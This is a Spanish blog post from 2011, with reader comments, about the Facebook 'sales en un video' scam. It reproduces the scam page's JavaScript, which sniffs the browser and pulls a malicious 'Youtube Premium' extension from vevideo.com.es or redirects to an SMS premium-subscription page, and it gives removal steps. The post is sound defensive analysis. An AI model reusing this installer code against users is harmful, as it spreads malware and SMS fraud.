Solución a “sales en un video” de Facebook
by Jorge del Casar • 12 diciembre 2011 • Javascript, Redes sociales • 15 Comments
Llevo unos días viendo en los muros (biografías) de mis amigos que aparecen en el mismo video, e incluso yo también salgo en algún caso. Pues no os lo creáis, que no sales :P ¿Qué sucede en realidad?
Modus operandi
Cuando pulsas en el enlace te lleva a un blog en bogspot, que no voy a enlazar para evitar difundirlo, aún más. En esta página te encuentras con un diseño muy parecido a Facebook y con el siguiente contenido. Antes de nada Youtube ni Vimeo tienen plugins para una versión premium, por lo que nunca deberíais instalar plugins de este tipo.
Código
Lo que sucede al pulsar en continuar es que se instala un plugin en el navegador si usáis Firefox o Chrome llamado Youtube Premium. Si usáis otro os lleva a una página donde os pedirá el teléfono para verificar vuestra edad, obviamente mentira, puesto que no hay manera de verificar la edad con el número de teléfono. Para los más frikis el código Javascript que hace todo eso es este:
var is_chrome = navigator.userAgent.toLowerCase().indexOf('chrome') > -1;
var is_firefox = navigator.userAgent.toLowerCase().indexOf('firefox') > -1;
function instalar(){
if (is_chrome){
window.open("http://vevideo.com.es/plugin/youtube.crx");
} else if(is_firefox){
var params = {
"Youtube Extension": {
URL: "http://vevideo.com.es/plugin/youtube.xpi",
toString: function () { return this.URL; }
}
};
InstallTrigger.install(params);
} else{
top.location.href="http://vevideo.com.es/plugin/unlocked.php";
}
}Solución
Por último el paso más importante que es cómo frenar la viralidad de este malware. Si ya te has instalado el plugin Youtube Premium, lo que tienes que hacer es desinstalar el complemento o extensión, siguiendo estos pasos:
- Accede a los complementos o extensiones:
- Firefox: Herramientas → Complementos
- Chrome: Ventana → Extensiones
- Busca un complemento llama Youtube Premium
- Pulsa en Desinstalar
Espero que os sirva de ayuda y paremos este malware, comentárselo a todos los que hayan escrito en vuestro muro diciendo que aparecéis en un video para que lo desistalen.
La página desde donde se descargaba el plugin o te pedía que metieras tu número de teléfono para verificar la edad ha desaparecido. Así que, hasta nuevo aviso se ha parado la difusión de este malware.


Por lo que comentas, no es un virus siquiera, no? Es un enlace, que intenta ser un phising? Pide luego cuentas corrientes o similares?
Si es un molesto enlace que lleva a enlaces, pero pide autorización, me equivoco?
Es una extensión de Chrome y de Firefox. En caso de no tener ninguno de ellos te lleva a una página donde te pide el número de teléfono. Técnicamente si es un virus informático, puesto que según Wikipedia:
De todas formas lo he mencionado como virus por su caracter viral, es un malware similar a los que han ido saliendo en Facebook, pero esta vez como extensión del navegador, no se en qué momento te pide los permisos de escritura en Facebook porque no me lo he instalado. Pero bueno, sea lo que sea, mejor no instalarlo y parar su viralidad :D
Gracias por el consejo, en mi casa dos de las personas que usan la pc, cliquearon ese enlace y tuve virus apenas la encendí. Hice lo que sugeriste en la entrada y ya no me aparece ese mensaje del antivirus que bloquea una url de “vevideo punto com punto es” que, creo, era de eso mismo.
Me alegro que lo hayáis parado :D Un saludo.
Hola! Gracias por la información. Mi problema es que no encuentro (en Complementos) el Youtubue Premium del que hablas y no sé cómo hacerlo para eliminar el vídeo-virus (que creo que ya ha dado la vuelta 3 veces entre mis contactos!). Ayuda!!!!
¿Qué navegador usas? Si es Chrome o Firefox y no tienes el plugin no deberías estar afectada. De todas formas mira en Configuración de la privacidad → Aplicaciones y sitios web y elimina los permisos de las aplicaciones que no te resulten familiares. Si borras alguna aplicación de más cuando vuelvas a entrar te volverá a pedir los permisos. Un saludo.
a mi me pasa lo mismo, no me sale en complementos
y una cosa mas, en el movil, como me puedo dar de baja? tambien puse el numero y me di de alta en el movil, por favor ayudame!!
No se qué con qué numeros trabaja FROGGIE S.L. Prueba a buscar en google el número desde el que te han algún mensaje. Normalmente es enviando BAJA a ese mismo número.
eso he hecho, enviar baja a ese numero, y me envian otro diciendome que ese numero no existe, que busque en la pagina web pero no encuentro nada!!
Hola! yo lo abrí con mi blackberry, ¿dónde puedo eliminar esa aplicación? Muchas gracias!!
El complemento solo afecta a los navegadores Firefox y Chrome. Si lo que hiciste fue introducir tu número de teléfono te digo lo mismo que a @MARIA, lee la respuesta al comentario anterior. Un saludo.
Gràcies!!!
De nada, un placer. Espero que llegue a todo el mundo y paremos la difusión de este virus incordión y que la gente no meta su número de teléfono en campañas de SMS abusivas.
Gracias a que comparto ordenador con mi hijo que encontró tu publicación y desactivó el pluggin he recuperado el resuello.
Estos etcéteras (epítetos a gusto), encima de otros posibles daños te hacen sentir responsable del contagio.
Ambos, como agradecimiento ademas de avisar, hemos publicado tu link.
Y desde lo personal. ¡MUCHAS GRACIAS!
Me alegro que te haya sido de utilidad. Afortunadamente navegaba con Firefox, llega a ser Opera o Explorer y lo mismo metía el número de móvil. Gracias por correr la voz para solucionarlo lo antes posible :D
Un saludo!